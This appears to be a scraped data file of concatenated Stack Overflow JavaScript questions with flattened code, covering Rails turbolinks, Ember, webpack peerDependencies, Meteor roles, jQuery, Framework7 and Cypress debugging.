version=v2.3 & appId=xxxxxxxxxxxxxxx '' ; fjs.parentNode.insertBefore ( js , fjs ) ; } ( document , 'script ' , 'facebook-jssdk ' ) ; $ ( document ) .ready ( fb_share ) ; $ ( document ) .on ( 'page : load ' , fb_share ) //= require jquery//= require jquery.turbolinks//= require jquery_ujs//= require turbolinks//= require_tree .",Facebook share button not loading with Rails turbolinks "JS : I 've tried the usual things to change the broken link icons ( see below ) , but they do n't seem to be working in my Ember app.Currently , the model fetches the data from an external API . One of the pieces of data is a link url . This link url ( product_link ) is inserted into the template , specifically at this point : This is part of a handlebars { { # each } } loop . Several of the links refer to dead URLs and I do n't have a way to fix the URLs themselves at this moment . I 'd like to replace the generic broken icon link with one of my own . How can I do this ? Things I 've tried : -- Any suggestions ? < img { { bind-attr src=product_link } } / > < img { { bind-attr src=favorite.product_image onError= '' this.onerror=null ; this.src='/img/error.png ' ; '' } } / > //still shows the standard broken image icon $ ( 'img ' ) .error ( function ( ) { $ ( this ) .attr ( 'src ' , 'img/error.png ' ) ; } ) ; //nothing happens if I include this in a called javascript file",Change broken link icon in Ember "JS : I was creating an npm package in React , using create-react-app . Since react and react-dom are assumed to be in the host project , I listed them as peerDependencies and devDependencies in my package.json.I learned that this way the two still get bundled , and to prevent that I have to list them in the externals of the webpack config , which I did succesfully : My question is : why do I have to go through this second step ? Should n't listing them as peerDependencies be sufficient ? And if not , how do peerDependencies differ from the regular dependencies in that case ? externals : { react : { commonjs : 'react ' , commonjs2 : 'react ' , amd : 'React ' , root : 'React ' , } , 'react-dom ' : { commonjs : 'react-dom ' , commonjs2 : 'react-dom ' , amd : 'ReactDOM ' , root : 'ReactDOM ' , } , } ,",Why do I have to list my peerDependencies as externals in the webpack config when creating a package ? "JS : I need some advice for building a correct role schema and management in my meteor-app . StructureIm using alanning : roles @ 1.2.13 for adding role management functionallity to the app.There are four different user-types : Admin , Editor , Expert and User.Furthermore there are several modules with different content , i.e . Cars , Maths and Images . Every module is organized in an own meteor-package.In every module there are several categories , which can be added dynamically by editors.Categories in modulesModule is structured like this : As you can see , all available categories are inside of the Collection of the module.RightsAdmin : Complete rightsEditor : Can edit elements in selected moduls ( i.e . editor_1 can edit elements in Cars and Images but not for Maths ) Expert : Can get rights to a complete module or just to some categories of a module ( i.e . ) expert_1 can edit Images , but only the elements in category `` Honda '' and `` Mercedes '' in Cars ; no editing to Maths ) User : No editingThis is how I do the authentification technically : router.jstemplateI put this router.js to every package . Only change is the data function which uses the Collection of each package ( Cars , Maths , Images ) .Update : As 'Eliezer Steinbock ' commented it is necessary to restrict acces to the mongoDB itself . But until now I only did that on the routes.permissions.jsMy problems1 ) My first problem is how to use roles and groups . What would be the best way for using groups ? And the second problem is , that there are no fixed categories in the modules . Right now I have no idea for a useful role/group schema.2 ) How do I check for the roles ? As there are different roles which can get access : admin , editor and expert . Also I got the problem with these experts who just get access to defined categories of this module.3 ) Would n't it be better to make the permission.js more general . I mean , is it possible to make a dynamic function , so I do n't have to put everywhere the same code ? How do I implement the roles in the permission.js in a useful way ? elementSchema = new SimpleSchema ( { element : { type : String , optional : true } } ) ; Cars.attachSchema ( new SimpleSchema ( { title : { type : String } , content : { type : String } , category : { type : [ elementSchema ] , optional : true } , } ) ; var filters = { authenticate : function ( ) { var user ; if ( Meteor.loggingIn ( ) ) { this.layout ( 'login ' ) ; this.render ( 'loading ' ) ; } else { user = Meteor.user ( ) ; if ( ! user ) { this.layout ( 'login ' ) ; this.render ( 'signin ' ) ; return ; } this.layout ( 'Standard ' ) ; this.next ( ) ; } } } Router.route ( '/car/ : _id ' , { name : 'car ' , before : filters.authenticate , data : function ( ) { return { cars : Cars.findOne ( { _id : this.params._id } ) } ; } } ) ; < template name= '' car '' > { { # if isInRole 'cars ' } } Some form for editing { { else } } < h1 > Restricted area < /h1 > { { /if } } < /template > Cars.allow ( { insert : function ( userId ) { var loggedInUser = Meteor.user ( ) if ( loggedInUser & & Roles.userIsInRole ( loggedInUser , [ 'admin ' , 'editor ' ] ) ) return true ; } , update : function ( userId ) { var loggedInUser = Meteor.user ( ) if ( loggedInUser & & Roles.userIsInRole ( loggedInUser , [ 'admin ' , 'editor ' ] ) ) return true ; } } ) ;",Structure role-management in meteor-app with alanning : roles "JS : My question is pretty straight forward . This snippet of code will trigger after the map is currently busy zooming or panning . Not when it 's already idle . Is there a way to check the status of the canvas in an if statement ? So when it 's already idle you 'll do the // code without adding a listener ? google.maps.event.addListenerOnce ( map , 'idle ' , function ( ) { // code } ) ;",Check if a GoogleMap Canvas element is already idle JS : I 'd like to filter out ( mostly one-line ) comments from ( mostly valid ) JavaScript using python 's re module . For example : I 'm now trying this for more than half an hour without any success . Can anyone please help me ? EDIT 1 : EDIT 2 : // this is a commentvar x = 2 // and this is a comment toovar url = `` http : //www.google.com/ '' // and `` this '' toourl += 'but // this is not a comment ' // however this one isurl += 'this `` is not a comment ' + `` and ' neither is this `` // only this foo = 'http : //stackoverflow.com/ ' // these // are // comments // too // bar = 'http : //no.comments.com/ ',Matching one-line JavaScript comments ( // ) with re "JS : I have 3 multiple selects like : and I am looking for best solution . Wanted behaviour is when you select one item in one multi select , then remove it from the others ( and conversely ) . I using jquery Chosen plugin.Situation : you have 3 roles , but user can be just in one role.jsFiddle < select multiple > < option value= '' volvo '' > Volvo < /option > < option value= '' saab '' > Saab < /option > < option value= '' opel '' > Opel < /option > < /select > < select multiple > < option value= '' volvo '' > Volvo < /option > < option value= '' saab '' > Saab < /option > < option value= '' opel '' > Opel < /option > < /select > < select multiple > < option value= '' volvo '' > Volvo < /option > < option value= '' saab '' > Saab < /option > < option value= '' opel '' > Opel < /option > < /select >","When select one option from `` multiple select '' , remove it from other selects ( and reverse )" "JS : I 'm currently developing a JavaScript parser and study the ECMAScript 5.1 specification . Here 's a question which puzzles me at the moment.§ 11.2 Left-Hand-Side Expressions defines the following NewExpression production : If I read it correctly , then the NewExpression may be something like ( Actually , any amount of news . ) This puzzles me completely . How could new Something potentialy return anything you could once again new ? Is it possible at all ? NewExpression : MemberExpression new NewExpression new new Something",How can `` new new Something '' produce valid results in JavaScript ? "JS : I 'm currently working on the front-end of a medium/large-scale data-driven Asp.net MVC application and I have some doubts about the right code-organization/design pattern to follow.The web application is made by multiple pages containing many Kendo UI MVC widgets defined with Razor template.For those who are unfamiliar with Kendo , the razor syntax is translated to Javascript as the following snippet : I defined inside my Script folder two main folders , and I structured my js files as follow : shared //Contains the shared js files-file1.js-file2.jspages //One file per pagepage1.js page2.js ... Ticket.js // page 4 : ) Each js file is a separate module defined with the following pattern : Note : Inside init function is registered every callback function to the window events and occasionally a $ ( document ) .ready ( function ( ) { } ) block . Once I need my Javascript functions defined in a module I include the associated Javascript file in the page.An istance of my object is stored inside a variable and , on top of that , a function is bound to the widget event ( see : onRequestStart ) .HTML/JAVASCRIPTI feel like my design pattern might be unfriendly to other front-end delevoper as I am , mostly because I choose not to implement the Javascript modules within Jquery plugin.First , Am I doing everything the wrong way ? Second , is my design pattern suitable for a Javascript test-framework ? Third , which are the must-have scenarios for Jquery plugins ? UpdateAdded the Javascript output by the above Razor syntax . ; ( function ( ) { `` use strict '' ; function Ticket ( settings ) { this.currentPageUrls = settings.currentPageUrls ; this.currentPageMessages = settings.currentPageMessages ; this.currentPageEnums = settings.currentPageEnums ; this.currentPageParameters = settings.currentPageParameters ; this.gridManager = new window.gridManager ( ) ; //usage of shared modules this.init ( ) ; } Ticket.prototype.init = function ( ) { $ ( `` form '' ) .on ( `` submit '' , function ( ) { $ ( `` .window-content-sandbox '' ) .addClass ( `` k-loading '' ) ; } ) ; ... } Ticket.prototype.onRequestStart = function ( e ) { ... } //private functions definition function private ( a , b , c ) { } window.Ticket = Ticket ; } ( ) ) ; @ ( Html.Kendo ( ) .DropDownList ( ) .Name ( `` Users '' ) .DataValueField ( `` Id '' ) .DataTextField ( `` Username '' ) .DataSource ( d = > d.Read ( r = > r.Action ( `` UsersAsJson '' , `` User '' ) ) .Events ( e = > e.RequestStart ( `` onRequestStart '' ) ) ) ) var settings = { } ; var ticket = new window.Ticket ( settings ) ; function onRequestStart ( e ) { ticket.onRequestStart ( e ) ; }",Javascript code organization data driven application "JS : Crockford 's JavaScript : The Good Parts contains the following text . Reserved Words The following words are reserved in JavaScript : Most of these words are not used in the language . They can not be used to name variables or parameters . When reserved words are used as keys in object literals , they must be quoted . They can not be used with the dot notation , so it is sometimes necessary to use the bracket notation instead : Some of the reserved words appear to not be reserved in my installed interpreters . For example , in both Chrome 48 ( beta ) and node.js 0.10.40 the following code will successfully add two numbers identified by reserved words.Why can I use these two reserved words as variable names ? Am I missing something crucial ? abstract boolean break byte case catch char class const continue debugger default delete do double else enum export extends false final finally float for function goto if implements import in instanceof int interface long native new null package private protected public return short static super switch synchronized this throw throws transient true try typeof var volatile void while with var method ; // okvar class ; // illegalobject = { box : value } ; // okobject = { case : value } ; // illegalobject = { 'case ' : value } ; // okobject.box = value ; // okobject.case = value ; // illegalobject [ 'case ' ] = value ; // ok var abstract = 1 ; var native = 1 ; abstract + native ; > 2",Some JavaScript reserved words function as variables "JS : In a click event ( attached to document ) I want to figure out the target when the user started pressing the mousebutton.Example : User presses mousebutton on a custom popupUser moves the mouse outside the popup and let goIn that case the code below will return a target outside the popup , but I want to figure out if it started within the popup.Of course I could track this manually by listening to mousedown and saving this within a variable - but I rather have something native , because : less codeI might be missing edge casesBoth Jquery or vanilla JavaScript answers are good to me ( but preference vanilla ) $ ( document ) .click ( function ( e ) { // will return the target during *releasing the mouse button* // but how to get the target where the *mouse press started* console.log ( e.target ) ; }",Click event - get the target where the mousedown started instead of the mouseup "JS : I am using jquery-ui and it 's dialog functionality to display modal dialogs in my web app . It works ok.At one use case , I have a colorbox popup window on a screen , and once user finishes his input I need to display a confirmation dialog.Also here everything actually works thanks to error handling on all the major browsers I tried , but I worry what problems might some combination of javascript engine & browser could cause.The error I get is call stack size overflow ( Chrome shows it as Uncaught RangeError : Maximum call stack size exceeded . ) .The code for the modal dialog is : } The colorbox is called in javascript , and it takes embedded div from the actual page as it 's content : In the popup , I have a button which just opens up the confirmation dialog . I apologize in advance as it 's my first time using JSFiddle , and I was n't able to get colorbox and dialog popup match exactly how it looks on my page ( it actually pops up properly on top of the colorbox and not `` in the background '' ) . I 'm not sure if this is because I had to use different versions of jquery and jquery-ui ( I could n't find same combination I am using from the pulldown ) or something else.A JSFiddle is here . If you click around the colorbox area once the `` open dialog '' button has been pressed you should get same error ( firefox and Chrome seem to react slightly differently when to show the error ) .Thank you for any suggestions ! function modalDialog ( dialogText , dialogTitle , okFunc , okLabel , cancelFunc , cancelLabel ) { var dialogButtons = { } ; dialogButtons [ okLabel ] = function ( ) { if ( typeof ( okFunc ) == 'function ' ) { setTimeout ( okFunc , 50 ) ; } $ ( this ) .dialog ( 'destroy ' ) ; } ; dialogButtons [ cancelLabel ] = function ( ) { if ( typeof ( cancelFunc ) == 'function ' ) { setTimeout ( cancelFunc , 50 ) ; } $ ( this ) .dialog ( 'destroy ' ) ; } ; $ ( ' < div style= '' padding : 10px ; max-width : 500px ; word-wrap : break-word ; '' > ' + dialogText + ' < /div > ' ) .dialog ( { draggable : true , modal : true , resizable : false , width : 'auto ' , title : dialogTitle || 'Confirm ' , minHeight : 75 , buttons : dialogButtons } ) ; $ ( function ( ) { $ ( `` .colorbox-load '' ) .colorbox ( { inline : true , overlayClose : false , href : `` # popupContents '' , height : `` 320 '' , width : `` 300 '' } ) ; } )",jquery-ui dialog in colorbox results to Maximum call stack size exceeded error "JS : Let 's say I have an animal object with a speak function : And I have a dog with a sound : If I want dog to inherit speak from animal I can use Object.assign or Object.setPrototypeOf . They seem to produce the same results : What is the difference and is one way considered the `` right '' way ? function speak ( ) { console.log ( this.sound ) } let animal = { speak } let dog = { sound : `` Woof ! '' } let luke = Object.assign ( dog , animal ) luke.speak ( ) // Woof ! let bruno = Object.setPrototypeOf ( dog , animal ) bruno.speak ( ) // Woof !",What is the difference between Object.assign and Object.setPrototypeOf in JavaScript ? "JS : Update : I have created a ticket : http : //bugs.jquery.com/ticket/12191jQuery 's $ .type ( ) function returns the [ [ Class ] ] internal property ( lower-cased ) of an object . E.g . : However , it only works for these types of objects : specified by this section of jQuery 's source code : In addition to those types of objects , the ECMAScript standard defines corresponding [ [ Class ] ] internal properties for these : This is specified in this sentence of the ECMAScript standard ( in section 8.6.2 ) : The value of the [ [ Class ] ] internal property of a host object may be any String value except one of `` Arguments '' , `` Array '' , `` Boolean '' , `` Date '' , `` Error '' , `` Function '' , `` JSON '' , `` Math '' , `` Number '' , `` Object '' , `` RegExp '' , and `` String '' . $ .type returns `` object '' for those types of objects : instead of `` error '' , `` json '' , `` math '' , and `` arguments '' , which are the actual [ [ Class ] ] values here ( capitalized ) .I would like to make it clear that $ .type could return those correct values if it wanted to , since it uses the Object.prototype.toString.call ( ) retrieval method , which returns `` [ object Error ] '' for Error objects , for instance.So , why does jQuery report `` object '' instead of those four values ? I could understand JSON and Math , since those are not instances , but singleton objects . And I could even understand arguments , since that is an automatically provided object , instead of an instance explicitly created by a JavaScript program ( as in var args = new Arguments ; ) . Buy why errors ? I do n't see what makes Error objects special ( compared to the other native types , like Date , Array , etc. ) . tl ; drUpdate : Just to clarify one thing : I know why $ .type returns `` object '' for Error instances , as I have looked into its source code , and found the code that is responsible for this behavior . I would like to know why $ .type is defined to behave in such a manner . $ .type ( { } ) // `` object '' $ .type ( [ ] ) // `` array '' $ .type ( function ( ) { } ) // `` function '' Boolean Number String Function Array Date RegExp Object // Populate the class2type mapjQuery.each ( `` Boolean Number String Function Array Date RegExp Object '' .split ( `` `` ) , function ( i , name ) { class2type [ `` [ object `` + name + `` ] '' ] = name.toLowerCase ( ) ; } ) ; Arguments Error JSON Math $ .type ( new Error ) // `` object '' $ .type ( JSON ) // `` object '' $ .type ( Math ) // `` object '' ( function ( ) { $ .type ( arguments ) ; /* `` object '' */ } ( ) ) $ .type ( new Error ) // why does this return `` object '' instead of `` error '' ?",Why is jQuery 's $ .type ( ) defined to return `` object '' instead of `` error '' for native ECMAScript Error objects ? "JS : I have a header on my website , and I 'd like it to look like a 3D drawn header - like the image below : How should I do this ? I tried creating a < div > element to put behind it with the same text but a different effect , but that did n't work . How best could I do this ? My code so far is below.CSSThe solution does not have to be pure CSS , it can be JS , but no external libraries ( apart from jQuery ) < h1 > My Header Here < /h1 > h1 { color : white ; border-color : black ; }",Is there a way to make a 3D-text effect with JavaScript/CSS "JS : I have a table with numbers . When I click on a cell in the table , it toggles active state . I want to select one cell and press crtl and select another cell , and as result cells between first one and second will become active . How to implement it ? codepen https : //codepen.io/geeny273/pen/GRJXBQPIt should work like shift highlighting and works in both directions < div id= '' grid '' > < div class= '' cell '' > 1 < /div > < div class= '' cell '' > 2 < /div > < div class= '' cell '' > 3 < /div > < div class= '' cell '' > 4 < /div > < div class= '' cell '' > 5 < /div > < div class= '' cell '' > 6 < /div > < /div > const grid = document.getElementById ( `` grid '' ) grid.onclick = ( event ) = > { event.stopPropagation ( ) ; const { className } = event.target ; if ( className.includes ( 'cell ' ) ) { if ( className.includes ( 'active ' ) ) { event.target.className = 'cell ' ; } else { event.target.className = 'cell active ' ; } } }",How to select multiple cells using ctrl + click JS : I want to do a star rating control but I ca n't seem to find a way to select all previous siblings on hover . Does such thing even exist or do I have to use javascript ? span { display : inline-block ; width : 32px ; height : 32px ; background-color : # eee ; } span : hover { background-color : red ; } < span > < /span > < span > < /span > < span > < /span > < span > < /span > < span > < /span >,CSS select all previous siblings for a star rating JS : Why does JavaScript evaluate plus with a string and integers differently depending on the place of the string ? An example : The first line prints 123 and the second prints 78 . console.log ( `` 1 '' + 2 + 3 ) ; console.log ( 2 + 5 + `` 8 '' ) ;,Why does JavaScript evaluate plus with string and int differently ? "JS : I was wondering what is best practice or at least a practice for using Jasmine to test javascript that requires remote libraries called on page load , but not in the app.More specifically , I 'm creating a backbone view for processing payments using stripe . Stripe recommends that you load their javascript in your layout from their servers . But my tests do n't have my layout , so when I try to do thisIt gives the error.I 'd rather not depend on remote libraries for my test , nor do I really want to go against stripe preferred method of relying on their source code . What would be the best way to approach this ? it ( `` calls stripe token creation '' , function ( ) { stripeSpy = spyOn ( Stripe , `` createToken '' ) ; form.submit ( ) ; expect ( stripeSpy ) .toHaveBeenCalled ( ) ; } ) ; Stripe is not defined",Jasmine tests that require outside libraries "JS : I 'm just curious to know how jQuery is able to hijack the 'this ' keyword in Javascript . From the book I 'm reading : `` Javascript the Definitive Guide '' it states that `` this '' is a keyword and you can not alter it like you can with an identifier . Now , say you are in your own object constructor and you make a call to some jQuery code , how is it able to hijack this from you ? My only guess would be that since you are providing a callback to the jQuery each ( ) function , you are now working with a closure that has the jQuery scope chain , and not your own object 's scope chain . Is this on the right track ? thanks function MyObject ( ) { // At this point `` this '' is referring to this object $ ( `` div '' ) .each ( function ( ) { // Now this refers to the currently matched div } ) ; }",How does jQuery hijack `` this '' ? "JS : I 'd like to hide correctly the panel and the navbar only in the login page . After login I 'd like to show them . I achieve this task partially , because my code has a bad side effect . When I open the app I saw my login page but for few second the navbar appears and then disappears . I 'd like to access on login page without this effect . I 'd like to see immediatly the login page without them.How can I solve it ? I declared them in my index.htmlThis is my config file app.js where I show and hide the elements on pageInitEventAnd finally this is my login.html page where I put no-navbar in orderd to hide it . < div id= '' app '' > < div class= '' panel panel-left panel-cover '' > < div class= '' navbar color-theme-green `` > < div class= '' navbar-inner sliding '' > < div class= '' title '' > Menu < /div > < /div > < /div > < div class= '' block '' > < div class= '' list links-list '' > < ul > < li > < a href= '' /home/ '' class= '' panel-close '' > < div class= '' item-content '' > < div class= '' item-media '' > < i class= '' f7-icons ios-only '' > graph_square < /i > < i class= '' material-icons md-only '' > dashboard < /i > < /div > < div class= '' item-inner '' > < div class= '' item-title '' > Home < /div > < /div > < /div > < /a > < /li > < li id= '' company '' style= '' display : none ; '' > < a href= '' /company/ '' class= '' panel-close '' > < div class= '' item-content '' > < div class= '' item-media '' > < i class= '' f7-icons ios-only '' > home < /i > < i class= '' material-icons md-only '' > home < /i > < /div > < div class= '' item-inner '' > < div class= '' item-title '' > Company < /div > < /div > < /div > < /a > < /li > < /ul > < /div > < /div > < /div > < ! -- Top Navbar -- > < div class= '' navbar color-theme-green '' > < div class= '' navbar-inner sliding '' > < div class= '' left '' > < a class= '' link panel-open '' > < i class= '' f7-icons ios-only '' > menu < /i > < i class= '' material-icons md-only '' > menu < /i > < ! -- < span class= '' ios-only '' > Back < /span > -- > < /a > < a class= '' link back '' > < i class= '' icon icon-back '' > < /i > < span class= '' ios-only '' > Back < /span > < /a > < /div > < div class= '' title '' > My app < /div > < /div > < /div > < div class= '' view view-main '' > < /div > var $ $ = Dom7 ; var app = new Framework7 ( { // App root elementroot : ' # app ' , // App Namename : 'myApp ' , // App idid : 'it.myapp.myApp ' , theme : 'auto ' , version : ' 0.0.1 ' , cacheDuration : 0 , cache : false , stackPages : true , preloadPreviousPage : true , panel : { swipe : 'right ' , swipeNoFollow : true } , /** * Routes */routes : [ { name : 'home ' , path : '/home/ ' , url : './pages/home.html ' , on : { pageInit : function ( e , page ) { app.navbar.show ( '.navbar ' ) ; page.router.clearPreviousHistory ( ) ; } } , } , { name : 'login ' , path : '/login/ ' , url : './pages/login.html ' , on : { pageInit : function ( ) { app.navbar.hide ( '.navbar ' ) ; } } , } } < div data-name= '' login '' class= '' page no-navbar no-toolbar no-swipeback '' > < div class= '' page-content login-screen-content `` > < ! -- Login form -- > < form id= '' form-login '' > < div class= '' row justify-content-center '' > < div class= '' col-100 tablet-80 desktop-50 '' > < div class= '' card head-card-forest '' > < div class= '' card-header '' > < span > < /span > < h2 > Login < /h2 > < span > < /span > < /div > < div class= '' card-content card-content-padding '' > < div class= '' row '' > < div class= '' col-100 tablet-auto desktop-auto '' > < div class= '' list no-hairlines-md '' > < ul > < li class= '' item-content item-input '' > < div class= '' item-inner '' > < div class= '' item-title item-label '' > Email < /div > < div class= '' item-input-wrap '' > < input type= '' text '' name= '' username '' placeholder= '' Username '' > < span class= '' input-clear-button '' > < /span > < /div > < /div > < /li > < li class= '' item-content item-input '' > < div class= '' item-inner '' > < div class= '' item-title item-label '' > Password < /div > < div class= '' item-input-wrap '' > < input type= '' password '' name= '' password '' placeholder= '' Password '' > < span class= '' input-clear-button '' > < /span > < /div > < /div > < /li > < /ul > < /div > < div class= '' block '' > < div class= '' row '' > < a class= '' col button button-fill '' id= '' button-login '' onclick= '' getLogin ( ) '' > Accedi < /a > < /div > < /div > < /div > < ! -- col -- > < /div > < ! -- row -- > < /div > < ! -- card-content -- > < /div > < ! -- .card -- > < /div > < ! -- .col -- > < /div > < ! -- .row -- > < /form > < /div > < ! -- ./ page-content -- >",How to hide panel and navbar in login page framework7 "JS : I looked around internet and was always looking like from previous 6 months for a script that could load flash content/game while showing an actual loading screen But I always received a few answers : It is not possible to show an actual loading with Javascript.You can do it only by adding action script to the flash file maybe they are talking about FLAWhy Do n't you show a fake loading screen that appears and show someseconds and then disappears ( the most annoying this of such screenis that they first make user load 15 seconds then the flash startsloading , if it starts loading those 15 seconds still it is worthsomething it is good BUT making them wait double is really bad ) But at last I found something that I was looking forever . A Jquery based script that shows actual loading ( shows ad too ) and uses swf Object to talk to flash content too . It is really awesome as it does n't require you to do changes to the FLA , it is just pure outer environment dealing . So now the question arises what 's the issue then . Well the issue is that this script was made for pixels , it works if you are using width and height for flash in pixels , while I ca n't use pixels as I am using % ages ( this way user have ability to go full screen optionally by pressing f11 ) .So as you can see I want that script to work with % ages that is my problem , but as I mentioned earlier I did n't came here right away I have been asking for help ( Actually Begging ) in over 14 forums from previous few months and of course some good people still exists some people helped me to reach a certain point ( but it did n't solve the problem ) So now I will provide some Markup : Here is link to the script that I am talking about http : //www.balloontowerdefense.net/jquery-preloader/jquery-preloader.html ( It is the link to the creator of this script ) Here is a link to working example ( flash based on Pixels ) http : //www.balloontowerdefense.net/jquery-preloader/example.html Some one helped me here but it did n't work 1 month ago . The person told me that I should change the plugin Named as Preroll the changes preferred were theseModify the plugin to use user-supplied units instead of pixels . To do this , you will need to modify two functions in the plugin , applygameiframe and showgame.Once those changes are made , the inline CSS should be set to whatever you supply as parameters ( i.e. , 100 % , 50em , etc . ) .I did the changes told to be done as described above to the Preroll plugin and after that this is what I get http : //files.cryoffalcon.com/MyFootPrint/fullscreen.htmlNow if you let the game load ( as loading screen appears ) all is well done except that in the end , the game does n't appear , it loads but when it should skip and make the game appear at that time something goes wrong . ( For reference you can see this link http : //www.balloontowerdefense.net/jquery-preloader/example.html here when the loading finishes then game appears ) Can Someone Fix this problem ? Note : Sorry for not providing JsFiddle but as I live in Afghanistan with 5KBps speed it is not possible for me.I did n't provided the HTML , CSS and JS that makes up the whole demo page as I thought it will make the question very long but still if you think I should provide Please let me know in comments.I tried my best to make the question more relevant with Relevant Markups BUT still If I am missing something I would try my best by editing it and providing it you again.Being an accountant , I tried my best to use programmers terms , coding is my passion but I am still in learning stage of JSUPDATE : After solving the problem here you can see now everything is fine . http : //files.cryoffalcon.com/MyFootPrint/newfullscreen.htmlCredit : Goes to the one who answered this question . applygameiframe should be changed to : var applygameiframe = function ( ) { var gc = ' # '+settings.gameframe ; var iframe = $ ( ' < iframe / > ' ) .attr ( { `` id '' : settings.gameid , `` src '' : settings.swf , `` frameborder '' : 0 , `` scrolling '' : `` no '' , `` marginwidth '' : 0 , `` marginheight '' : 0 } ) .css ( { `` height '' : 'settings.height `` width '' : settings.width } ) ; $ ( gc ) .append ( iframe ) ; return true ; } ; showgame should be changed to : var showgame = function ( ) { var ac = ' # ' + settings.adframe ; var game = ' # ' + settings.gameframe ; $ ( ac ) .hide ( ) ; $ ( game ) .css ( { `` width '' : settings.width , `` height '' : settings.height } ) ; } ;",Show advertisement while game loads JS : What is wrong with this IF condition ? When I am giving EEID value as 123456 it should not come into this condition.But I see that it is coming.Can somebody let me know what am I doing wrong ? if ( ( EEID.value.length ! = 6 ) || ( EEID.value.length ! = 11 ) ) { alert ( EEID.value.length ) ; //This shows that the value length = 6 alert ( `` Your Member ID must be a 6 digit or 11 digit number . `` ) ; EEID.focus ( ) ; return false ; },what is wrong with this if condition in Javascript ? "JS : So , this might be a bug ... I mistyped a CSS path to check for elements that had been processed to have a particular onclick function beginning `` ajaxLoad ( `` As you can see , I forgot to close the attribute accessor , with ] , like so : Weirdly , it worked ! Edit - no I did n't , I actually ran the correct CSS selector : ... but as mentioned in the comments apparently this further typo also works ! This is obviously invalid . I spotted it when I came to add another type of link , of class tc-link , and was wondering if I could just chain it like in CSS stylesheets as : The answer is that you can by closing that bracket , but not when this typo is left in . Uncaught DOMException : Failed to execute 'querySelectorAll ' on 'Document ' : ' a [ onclick^= '' ajaxLoad ( `` , a tc-link ' is not a valid selector.It works on ^= , $ = , and *= , and from what I can see does n't happen in Firefox or Opera ( and I do n't have any other browsers to test in ) .I was thinking this was a language quirk at first but revised question : can anyone work out which level ( DOM ? V8 ? Er.. webkit ? I do n't know the ins and outs that well ) of Javascript/browser code this relates to , and where it can get reported/fixed ? document.querySelectorAll ( ' a [ onclick^= '' ajaxLoad ( `` ' ) document.querySelectorAll ( ' a [ onclick^= '' ajaxLoad ( ] '' ' ) document.querySelectorAll ( ' a [ onclick^= '' ajaxLoad ( `` ] ' ) document.querySelectorAll ( ' a [ onclick^= '' ajaxLoad ( `` , a.tc-link ' )",How/why is “ * [ attribute^= '' string '' ” a valid querySelector ? ( JS bug ? ) "JS : Looking for suggestions on how to pinpoint the actual source of the invalid/unexpected token.I 'm running tests with cypress , and most of the time ( though not consistently ) , I 'm getting this error from all my tests.So let 's be clear ; I do understand that it 's an issue with my application code , rather than my test code . My issue is that I have yet to see anything pointing to an actual location of the syntax error . Furthermore , I run the app in chrome 72 ( not through cypress ) and I have no issue . There only seems to be an issue when I run the app through cypress ( also using chrome 72 because I 'm using -- browser chrome when i run the cypress specs ) .I 've added fail , and uncaught : exception handlers to my tests to catch the output , though I still ca n't find anything to direct me to where the actual source of the error is.by breaking in the uncaught : exception handler , there are two args passed,1 ) the error ( same as above ) ; 2 ) the mocha ( i think ) runnable : I 've stepped through before ( ) in my test , with `` Pause on Exceptions '' enabled in the chrome debugger . Nothing errors until after I 've stepped through everything in before ( ) and have to then `` Resume script execution '' .Note , I do n't have a beforeAll ( ) hook in my test , just a before ( ) .I have n't made an recent changes which use unusual syntax ( so far as I can tell ) , and I have n't ran the test suite in my local environment for a few weeks , so there are many changes - too many for me to feel like sifting through them one by one would be worthwhile.here 's the test from that error instance for reference , though they 're all having the same issue.Also worth noting : the launchApp ( ) step actually occurs - the app is logged in , and then it appears to be as the app is loading in , that the syntax error is raised and the visit ( ) step is never actually executed . Uncaught SyntaxError : Invalid or unexpected tokenThis error originated from your application code , not from Cypress.When Cypress detects uncaught errors originating from your application it will automatically fail the current test.This behavior is configurable , and you can choose to turn this off by listening to the 'uncaught : exception ' event.https : //on.cypress.io/uncaught-exception-from-application Hook { title : `` '' before all '' hook '' , fn : ƒ , body : `` function ( ) { ↵ var _this = this ; ↵↵ debugger ; … cy.visit ( `` / # /account-management '' ) ; ↵ } ) ; ↵ } '' , async : 0 , sync : true , … } $ events : { error : Array ( 1 ) } async : 0 body : `` function ( ) { ↵ var _this = this ; ↵↵ debugger ; ↵ cy.on ( 'fail ' , event_handler_functions_1.failHandler.bind ( this ) ) ; ↵ cy.on ( 'uncaught : exception ' , function ( e , r ) { ↵ console.log ( e , r ) ; ↵ debugger ; ↵ } ) ; ↵ cy.fixture ( Cypress.env ( `` environmentSettings '' ) ) .then ( function ( fixture ) { ↵ _this.environmentData = environmentData = fixture ; ↵ cy.launchApp ( environmentData.baseUrl , environmentData.username , environmentData.password↵ /* , 300000*/↵ ) ; ↵ cy.visit ( `` / # /account-management '' ) ; ↵ } ) ; ↵ } '' callback : ƒ done ( err ) ctx : Context { currentTest : Test , _runnable : Hook , test : Hook , environmentData : { … } } fn : ƒ ( ) hookId : `` h1 '' hookName : `` before all '' id : `` r3 '' parent : Suite { title : `` Account Management '' , ctx : Context , suites : Array ( 0 ) , tests : Array ( 3 ) , pending : false , … } pending : false sync : true timedOut : false timer : null title : `` '' before all '' hook '' type : `` hook '' _currentRetry : 0 _enableTimeouts : false _retries : -1 _slow : 75 _timeout : 4000 _trace : Error : done ( ) called multiple times at Hook.Runnable ( https : //localhost:44399/__cypress/runner/cypress_runner.js:30161:17 ) at new Hook ( https : //localhost:44399/__cypress/runner/cypress_runner.js:26593:12 ) at Suite.beforeAll ( https : //localhost:44399/__cypress/runner/cypress_runner.js:31573:14 ) at before ( https : //localhost:44399/__cypress/runner/cypress_runner.js:26770:17 ) at context.describe.context.context ( https : //localhost:44399/__cypress/runner/cypress_runner.js:26666:10 ) __proto__ : Runnable import { failHandler } from `` ..\\..\\support\\event-handler-functions '' describe ( 'Account Management ' , function ( ) { var environmentData : CypressTypings.EnvrionmentSettings ; before ( function ( ) { debugger ; cy.on ( 'fail ' , failHandler.bind ( this ) ) cy.on ( 'uncaught : exception ' , ( e , r ) = > { console.log ( e , r ) ; debugger ; } ) cy.fixture ( Cypress.env ( `` environmentSettings '' ) ) .then ( ( fixture ) = > { ( < any > this ) .environmentData = environmentData = fixture cy.launchApp ( environmentData.baseUrl , environmentData.username , environmentData.password/* , 300000*/ ) ; cy.visit ( `` / # /account-management '' ) ; } ) ; } ) beforeEach ( ( ) = > { Cypress.Cookies.preserveOnce ( environmentData.cookieName ) } ) it ( 'Loads Governments ' , function ( ) { cy.get ( `` [ data-cy=government-panel ] '' , { timeout : 20000 } ) .should ( `` have.length.gte '' , 1 ) ; } ) it ( 'Users Page Loads ' , function ( ) { cy.get ( `` [ 